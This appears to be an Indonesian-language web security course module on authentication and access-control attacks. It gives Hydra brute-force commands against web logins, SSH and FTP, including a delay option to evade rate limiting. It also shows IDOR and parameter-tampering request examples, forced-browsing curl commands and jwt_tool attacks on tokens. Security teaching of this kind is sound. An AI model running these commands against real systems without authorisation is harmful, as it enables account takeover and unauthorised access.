Module 3: Authentication & Access Control

Authentication & Authorization Attacks

35 menit
Intermediate

Authentication Attacks

Brute Force dengan Hydra

# HTTP POST form login
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-get /admin/

# SSH
hydra -l root -P passwords.txt ssh://target.com

# FTP
hydra -l admin -P passwords.txt ftp://target.com

# Dengan delay untuk bypass rate limiting
hydra -l admin -P passwords.txt -w 5 target.com http-post-form \
  "/login:u=^USER^&p=^PASS^:Wrong"

Brute Force dengan Burp Intruder

  1. Intercept login request di Burp Suite
  2. Send ke Intruder (Ctrl+I)
  3. Positions → Clear § → Highlight password field → Add §
  4. Payloads → Simple List → Load wordlist
  5. Options → Grep Match → Add error message (e.g. “Invalid password”)
  6. Start Attack

Filter hasil: Sort by status code atau response length yang berbeda.

Credential Stuffing

# Gunakan daftar credential yang bocor dari data breach
# Download dari: https://haveibeenpwned.com atau database breach

# Tools: Sniperz, Slayer, credential-stuffing tools
# Tetapi: hanya legal jika dilakukan dengan izin eksplisit!

IDOR (Insecure Direct Object Reference)

IDOR terjadi ketika aplikasi menggunakan identifier yang bisa diprediksi untuk mengakses resource, tanpa memeriksa apakah user yang meminta memang punya hak akses.

Contoh IDOR

# URL vulnerable:
GET /api/users/1234/profile HTTP/1.1
→ Returns user 1234's profile

# Ubah ID ke user lain:
GET /api/users/1235/profile HTTP/1.1
→ Returns user 1235's profile! (IDOR!)

Teknik Testing IDOR

# 1. Ganti numeric ID
/api/orders/100 /api/orders/101, 102, 99, 1, 999999

# 2. Ganti UUID (gunakan UUID dari user lain jika ada)
/api/files/abc123-def456 coba UUID berbeda

# 3. Parameter pollution
/api/profile?user_id=victim_id

# 4. Horizontal vs Vertical privilege escalation
# Horizontal: akses data user lain (same privilege level)
# Vertical: akses fungsi admin sebagai user biasa

# Test dengan Burp Suite:
# - Login sebagai User A, catat resource ID milik A
# - Login sebagai User B
# - Coba akses resource ID milik A dari sesi User B

IDOR di HTTP Headers

# Terkadang ID ada di header
X-User-ID: 1234
X-Account-Id: admin
Referer: /admin/users/1

Broken Access Control

Forced Browsing

# Coba akses halaman admin tanpa autentikasi
curl -s https://target.com/admin/
curl -s https://target.com/admin/users
curl -s https://target.com/wp-admin/

# Setelah login sebagai user biasa, coba akses halaman admin
curl -s -b "session=USER_COOKIE" https://target.com/admin/

Parameter Tampering untuk Privilege Escalation

# Request asli (user biasa)
POST /api/update-profile HTTP/1.1
{"name": "John", "role": "user"}

# Ubah role:
POST /api/update-profile HTTP/1.1
{"name": "John", "role": "admin"}

# Ubah user ID untuk modifikasi akun lain:
POST /api/update-profile HTTP/1.1
{"user_id": "admin_id", "name": "Hacked"}

JWT (JSON Web Token) Attacks

# Decode JWT (tanpa verifikasi)
# Header.Payload.Signature (base64url encoded)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d

# Tools: jwt.io, jwt_tool
pip3 install jwt_tool

# Test algorithm confusion (RS256 → HS256)
python3 jwt_tool.py TOKEN -X a

# Test none algorithm
python3 jwt_tool.py TOKEN -X n

# Brute force secret key
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Modify payload dan resign (jika secret diketahui)
python3 jwt_tool.py TOKEN -T -S hs256 -p "secret_key"

JWT Vulnerabilities

import jwt

# VULNERABLE: algorithm none
token = jwt.decode(
    token_string,
    options={"verify_signature": False}  # Jangan pernah ini!
)

# VULNERABLE: trust algorithm dari header
algorithm = get_algorithm_from_header(token)  # Attacker bisa set none!

# SECURE:
jwt.decode(token_string, SECRET_KEY, algorithms=["HS256"])
Rate Limiting & Account Lockout
Saat melakukan brute force pada sistem production yang memiliki izin, perhatikan rate limiting dan mekanisme account lockout. Brute force yang agresif bisa menglock akun user legitim!